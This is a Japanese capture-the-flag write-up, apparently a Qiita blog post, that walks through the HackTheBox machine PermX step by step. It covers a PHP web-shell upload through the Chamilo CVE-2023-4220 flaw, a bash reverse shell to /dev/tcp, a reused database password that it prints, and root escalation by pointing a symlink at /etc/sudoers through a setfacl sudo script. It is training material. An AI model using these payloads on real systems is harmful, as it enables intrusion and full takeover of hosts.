1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

今回はHackTheBoxのEasyマシン「PermX」のWriteUpです!

image.png

グラフ的にはかなり簡単そうな感じですね。

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

PermX

列挙

それでは攻略を始めます。
まずはnmapでポートスキャンを行います。

+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.23 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52

22番と80番が開いていますね。ブラウザでWEBにアクセスしてみましょう。

image.png

e-learningのページが表示されました。
WEB上にはいくつかボタンがありますが、特に気になるものはありませんでした。

表面上は一通り確認したので、ファジングを行います。ffufを実行し、サブドメインを列挙しましょう。

+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://permx.htb -H 'HOST: FUZZ.permx.htb' -fc 302
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 733ms]
www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 192ms]
:: Progress: [151265/151265] :: Job [1/1] :: 212 req/sec :: Duration: [0:12:08] :: Errors: 0 ::

新たにlmswwwというサブドメインを発見しました。wwwは通常の変わらなさそうなので、lmsをhostsファイルに記述し、ブラウザでアクセスしてみましょう。

image.png

Chamiloのログインページが表示されました。また、Burp Suiteでレスポンスを確認すると、Chamiloのバージョン「1」が使用されていることがわかりました。

CVE-2023-4220

バージョンがわかったので、脆弱性がないかを確認すると、以下の記事を発見しました。

どうやら認証無しのファイルアップロードの脆弱性が存在しているようです。実際の攻撃手順も公開されているので、参考にしてWEBシェルをアップロードします。

まずは、WEBシェルとなるPHPファイルを用意する必要があるので、いつものやつを作成します。

+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ echo '<?php system($_GET["cmd"]); ?>' > rce.php

作成できたら、bigUpload.phpにアップロードのリクエストを送信します。

+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' 
The file has successfully been uploaded.       

アップロードに成功していそうです。WEBシェルが機能するか確認してみましょう。

+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

idコマンドが実行できました!

www-data としてのシェル

それでは、シェルを取得しましょう。使用するコマンドは以下です。

cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.8/2121 0>&1'

いつものやつですね。これをURLエンコードし、リクエストを送信します。
送信する前に待ち受けを忘れないでください。

+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121         
listening on [any] 2121 ...

それではシェルを取得しましょう!

+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%2f%32%31%32%31%20%30%3e%26%31%27'

特にレスポンスはありませんが、待ち受けを確認すると...

+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121         
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.23] 43410
bash: cannot set terminal process group (1169): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami                 
www-data

シェルの取得に成功しました!

水平権限昇格

では、ユーザフラグ取得を目指し水平権限昇格を行います。
まずはホスト内に存在するユーザを確認しましょう。/homeディレクトリに対してlsを実行します。

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ls /home
mtz

mtzというユーザを発見しました。水平権限昇格の対象はこのユーザっぽいですね。
とりあえず、名前がわかったので名前でgrepを実行しておきましょう。

www-data@permx:/var/www/chamilo$ grep 'mtz' -rl / 2>/dev/null
www-data@permx:/var/www/chamilo$

あまりにも時間がかかったので、途中で中止させましたが特に気になる情報は出力されませんでした。
mtzが所有するファイルも調べてみましょう。

www-data@permx:/var/www/chamilo$ find / -user mtz -type f 2>/dev/null
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/cgroup.procs
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/cgroup.threads
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/cgroup.events
...

/sys/fs配下にmtzが所有するファイルがいくつかありましたが、特に気になるものはありませんでした。

Config File

次のアプローチとして、WEBの設定ファイルから認証情報が取得できないか試します。
割と多くのマシンでWEBの設定ファイルから認証情報を取得できることがあるので、必ず確認するべき箇所です。ただ今回のマシンは少し問題があり...

www-data@permx:/var/www/chamilo$ ls -l
total 780
-rwxr-xr-x  1 www-data www-data   3348 Aug 31  2023 CODE_OF_CONDUCT.md
-rwxr-xr-x  1 www-data www-data   5627 Aug 31  2023 CONTRIBUTING.md
-rwxr-xr-x  1 www-data www-data  35147 Aug 31  2023 LICENSE
-rwxr-xr-x  1 www-data www-data   8074 Aug 31  2023 README.md
drwxr-xr-x 11 www-data www-data   4096 Aug 31  2023 app
-rwxr-xr-x  1 www-data www-data   4034 Aug 31  2023 apple-touch-icon.png
drwxr-xr-x  2 www-data www-data   4096 Aug 31  2023 bin
-rwxr-xr-x  1 www-data www-data   1140 Aug 31  2023 bower.json
drwxr-xr-x  2 www-data www-data   4096 Aug 31  2023 certificates
-rwxr-xr-x  1 www-data www-data   1195 Aug 31  2023 cli-config.php
-rwxr-xr-x  1 www-data www-data   1715 Aug 31  2023 codesize.xml
-rwxr-xr-x  1 www-data www-data   7006 Aug 31  2023 composer.json
-rwxr-xr-x  1 www-data www-data 601063 Aug 31  2023 composer.lock
drwxr-xr-x  4 www-data www-data   4096 Aug 31  2023 custompages
drwxr-xr-x  2 www-data www-data   4096 Aug 31  2023 documentation
-rwxr-xr-x  1 www-data www-data   2462 Aug 31  2023 favicon.ico
-rwxr-xr-x  1 www-data www-data   1225 Aug 31  2023 favicon.png
-rwxr-xr-x  1 www-data www-data   8990 Aug 31  2023 index.php
-rwxr-xr-x  1 www-data www-data   1614 Aug 31  2023 license.txt
drwxr-xr-x 60 www-data www-data   4096 Aug 31  2023 main
-rwxr-xr-x  1 www-data www-data    893 Aug 31  2023 news_list.php
drwxr-xr-x 80 www-data www-data   4096 Aug 31  2023 plugin
-rwxr-xr-x  1 www-data www-data    748 Aug 31  2023 robots.txt
drwxr-xr-x  3 www-data www-data   4096 Aug 31  2023 src
-rwxr-xr-x  1 www-data www-data   1314 Aug 31  2023 terms.php
-rwxr-xr-x  1 www-data www-data   1151 Aug 31  2023 user.php
-rwxr-xr-x  1 www-data www-data  13279 Aug 31  2023 user_portal.php
drwxr-xr-x 84 www-data www-data   4096 Aug 31  2023 vendor
drwxr-xr-x  5 www-data www-data   4096 Jan 20 18:20 web
-rwxr-xr-x  1 www-data www-data   5780 Aug 31  2023 web.config
-rwxr-xr-x  1 www-data www-data   2031 Aug 31  2023 whoisonline.php
-rwxr-xr-x  1 www-data www-data   4037 Aug 31  2023 whoisonlinesession.php

大量のファイル、ディレクトリがあるので一つ一つ確認していくのはかなり大変です。
こういう時は先ほど実行したgrepを使用します。

www-data@permx:/var/www/chamilo$ grep 'password' -rl ./ 2>/dev/null
./composer.lock
./documentation/installation_guide_es_ES.html
...
./app/config/events.conf.dist.php
./app/config/parameters.yml.dist
./app/config/sonata/sonata_cache.yml
./app/config/auth.conf.php
./app/config/events.conf.php
./app/config/auth.conf.dist.php
./app/config/routing_front.yml
./app/config/profile.conf.dist.php
./app/config/config.yml
./app/config/configuration.php
./app/config/profile.conf.php
...
./LICENSE
./cli-config.php

多くのファイルが出力されましたが、まだ目で見れる程度の量です。ざーっと上から見ていくと、./app/config配下にあるconfiguration.phpが目につきました。内容を確認してみましょう。

www-data@permx:/var/www/chamilo$ cat ./app/config/configuration.php | grep password   
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Security word for password recovery
$_configuration['password_encryption'] = 'bcrypt';
// Set to true to allow automated password conversion after login if
// password_encryption has changed since last login. See GH#4063 for details.
//$_configuration['password_conversion'] = false;
// Customize password generation and verification
/*$_configuration['password_requirements'] = [
    'force_different_password' => false,
// Send two emails when creating a user. One with the username other with the password.
// Validate user login via a webservice, Chamilo will send a "login" and "password" parameters
        'wget_password' => '',
// Use this link as the "Forgot password?" link instead of the default. This setting should be transformed into a hook for plugins at a later time
// Show/Hide password field in user profile. Adds a customizable link depending on the user status.
$_configuration['auth_password_links'] = [
                'show_password_field' => false,
                'show_password_field' => true,
// Ask user to renew password at first login.
// Requires a user checkbox extra field called "ask_new_password".
//$_configuration['force_renew_password_at_first_login'] = true;
// Add the "remember password" link to the "subscription to session" confirmation email
//$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;

DBのパスワードが出力されています!

mtz としてのシェル

本来であれば、この情報を使用してDBにアクセスしますが、mtzというユーザ名もわかっているので、パスワードが使いまわしされていないか試してみましょう。

+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ ssh mtz@10.10.11.23   
mtz@10.10.11.23s password:

mtz@permx:~$ whoami
mtz

SSH接続に成功しました!水平権限昇格達成です。

mtz@permx:~$ ls -l
total 4
-rw-r----- 1 root mtz 33 Jul 12 02:38 user.txt

ユーザフラグも取得できました!

垂直権限昇格

それでは、ここからrootを目指し垂直権限昇格を行います
いつものようにsudo -lから実行していきましょう。

mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

/opt/acl.shがパスワードを必要とせず実行できるようですね。
スクリプトの内容を確認してみましょう。

mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

どうやらこのスクリプトは指定したファイルの権限を編集するもののようです。

sudo setfacl

スクリプトで一番注目すべき点は、最終的にsudo setfaclが実行されている箇所です。

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

setfaclは、指定したファイルに対して権限を付与するもので、acl.shを実行する際に指定する引数がそれぞれuserpermtargetに入ります。

setfaclを実行するときに注意する点は、targetで指定できる範囲を確実に絞ることです。任意のファイルが指定できてしまうと、すべてのファイルにアクセスされてしまうので、権限昇格/情報漏洩に繋がります。

今回のスクリプトでは、以下の部分で範囲を絞っています。

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

これは/home/mtz配下のファイルのみ指定できることを示しています。これにより、普通の使い方をする限り任意のファイルを指定することはできないのですが、setfaclにはシンボリックリンクが使用できます。

シンボリックリンクを悪用し、/home/mtz配下に配置したファイルを/etc/sudoers/etc/shadowなどのファイルにリンクさせることで、権限が変更できます。

今回は/etc/sudoersを編集することにします。シンボリックリンクを作成しましょう。

mtz@permx:~$ ln -s /etc/sudoers ./0xsh

シンボリックリンクが作成できたので、/opt/acl.shを実行し権限を変更します。

mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/0xsh

あとはこのファイルを編集します。

mtz@permx:~$ nano /home/mtz/0xsh

ファイルの一番下に以下の文字を追加しましょう。

mtz ALL=(ALL:ALL) ALL

追加できたら「Cntl+X -> Y」で保存します。
これですべてのコマンドをsudoを使用して実行できるようになりました。

root としてのシェル

では、権限を昇格させましょう。

mtz@permx:~$ sudo -i
[sudo] password for mtz: 
root@permx:~# whoami
root

垂直権限昇格に成功しました!

root@permx:~# ls -l
total 12
drwxr-xr-x 2 root root 4096 Jun  5 12:25 backup
-rwxr-xr-x 1 root root  354 Jun  6 05:25 reset.sh
-rw-r----- 1 root root   33 Jul 12 02:38 root.txt

ルートフラグも取得でき、完全攻略達成です~!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?